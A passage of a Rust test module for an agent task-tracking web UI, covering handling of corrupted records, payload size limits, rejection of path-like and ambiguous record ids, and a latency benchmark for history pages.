24474        run.save_under(home.path()).unwrap();
24475        let mut task = Task::new(
24476            "Related".into(),
24477            "body".into(),
24478            PathBuf::from("/repo"),
24479            Source::Agent {
24480                run: talk_id.clone(),
24481                node: "chat".into(),
24482            },
24483        );
24484        task.runs = vec![run.id.clone()];
24485        ui.queue.put(&mut task).unwrap();
24486        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24487        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24488        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24489        assert!(
24490            run_detail(State(ui.clone()), Path(run.id.clone()))
24491                .await
24492                .is_ok()
24493        );
24494        assert!(
24495            talk_sections(State(ui.clone()), Path(talk_id.clone()))
24496                .await
24497                .is_ok()
24498        );
24499        // Previously indexed corruption must not masquerade as no relationship.
24500        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24501        assert!(ui.find_task_for_run(&run.id).is_err());
24502        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24503        ui.queue.put(&mut task).unwrap();
24504        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24505    }
24506
24507    #[tokio::test]
24508    async fn conversation_sections_omit_large_task_instructions() {
24509        let home = tempfile::tempdir().unwrap();
24510        let ui = delta_test_ui(home.path());
24511        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24512        let mut task = Task::new(
24513            "filed task".into(),
24514            "large instruction ".repeat(65536),
24515            PathBuf::from("/repo"),
24516            Source::Agent {
24517                run: id.clone(),
24518                node: "chat".into(),
24519            },
24520        );
24521        ui.queue.put(&mut task).unwrap();
24522        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24523        assert_eq!(sections["tasks"][0]["id"], task.id);
24524        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24525        assert!(sections["tasks"][0].get("instruction").is_none());
24526        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
24527    }
24528
24529    #[test]
24530    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24531        let home = tempfile::tempdir().unwrap();
24532        let talks = Talks::at(home.path().join("talks"));
24533        seed_talk_at(&talks, "20261019-000001-abcd", "open");
24534        seed_talk_at(&talks, "20261019-000002-abcd", "open");
24535        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24536        assert!(resolve_talk(&talks, "../outside").is_err());
24537        assert!(resolve_talk(&talks, "abcd").is_err());
24538        assert_eq!(
24539            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24540            "20261019-000001-abcd"
24541        );
24542    }
24543
24544    include!(concat!(
24545        env!("CARGO_MANIFEST_DIR"),
24546        "/tests/web_latency/baseline.rs"
24547    ));
24548
24549    include!(concat!(
24550        env!("CARGO_MANIFEST_DIR"),
24551        "/tests/web_latency/lists.rs"
24552    ));
24553
24554    #[tokio::test]
24555    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24556    async fn web_history_latency_measurement() {
24557        use std::time::Instant;
24558        let home = tempfile::tempdir().unwrap();
24559        let ui = delta_test_ui(home.path());
24560        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24561        let mut template = ui.talks.get(&id).unwrap();
24562        template.turns = serde_json::from_value(serde_json::json!([{
24563            "who": "operator", "body": "Show the accumulated work and its current status.",
24564            "at": Timestamp::now().to_string(),
24565        }]))
24566        .unwrap();
24567        std::fs::write(
24568            ui.talks.path_of(&id),
24569            serde_json::to_vec(&template).unwrap(),
24570        )
24571        .unwrap();
24572        let count = std::env::var("MAGI_BENCH_RECORDS")
24573            .ok()
24574            .and_then(|s| s.parse::<usize>().ok())
24575            .unwrap_or(1000);
24576        for i in 0..count {
24577            template.id = format!("20261019-{i:06}-history");
24578            template.pending = "history ".repeat(2048);
24579            std::fs::write(
24580                ui.talks.path_of(&template.id),
24581                serde_json::to_vec(&template).unwrap(),
24582            )
24583            .unwrap();
24584            let mut task = Task::new(
24585                "old task".into(),
24586                "instruction ".repeat(2048),
24587                PathBuf::from("/repo"),
24588                Source::Human,
24589            );
24590            task.id = format!("20261019-{i:06}-task");
24591            ui.queue.put(&mut task).unwrap();
24592        }
24593        for baseline in [true, false] {
24594            for clients in [1, 4] {
24595                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24596                let mut samples = Vec::new();
24597                for _ in 0..12 {
24598                    let mut jobs = Vec::new();
24599                    for _ in 0..clients {
24600                        let ui = ui.clone();
24601                        let id = id.clone();
24602                        jobs.push(tokio::spawn(async move {
24603                            let start = Instant::now();
24604                            if baseline {
24605                                let response =
24606                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24607                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24608                                return (
24609                                    elapsed,
24610                                    elapsed,
24611                                    serde_json::to_vec(&response).unwrap().len(),
24612                                );
24613                            }
24614                            let core = talk_core(State(ui.clone()), Path(id.clone()));
24615                            let secondary = talk_sections(State(ui), Path(id));
24616                            let (first, total) = tokio::join!(
24617                                async {
24618                                    let value = core.await.unwrap().0;
24619                                    (
24620                                        start.elapsed().as_secs_f64() * 1000.0,
24621                                        serde_json::to_vec(&value).unwrap().len(),
24622                                    )
24623                                },
24624                                async {
24625                                    let value = secondary.await.unwrap().0;
24626                                    (
24627                                        start.elapsed().as_secs_f64() * 1000.0,
24628                                        serde_json::to_vec(&value).unwrap().len(),
24629                                    )
24630                                }
24631                            );
24632                            (first.0, first.0.max(total.0), first.1 + total.1)
24633                        }));
24634                    }
24635                    for job in jobs {
24636                        samples.push(job.await.unwrap());
24637                    }
24638                }
24639                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24640                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24641                first.sort_by(f64::total_cmp);
24642                total.sort_by(f64::total_cmp);
24643                let n = first.len();
24644                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24645                println!(
24646                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24647                    first[n / 2],
24648                    first[(n * 95 / 100).min(n - 1)],
24649                    total[n / 2],
24650                    total[(n * 95 / 100).min(n - 1)],
24651                    samples[0].2
24652                );
24653            }
24654        }
24655    }
24656
24657    #[test]
24658    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24659        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
24660        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24661        assert!(APP_JS.contains("function nextRunRequest(id)"));
24662        assert!(APP_JS.contains("function runShell(id, summary)"));
24663        assert!(APP_JS.contains("function nextTaskRequest(id)"));
24664        assert!(APP_JS.contains("function taskShell(id, summary)"));
24665        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24666    }
24667}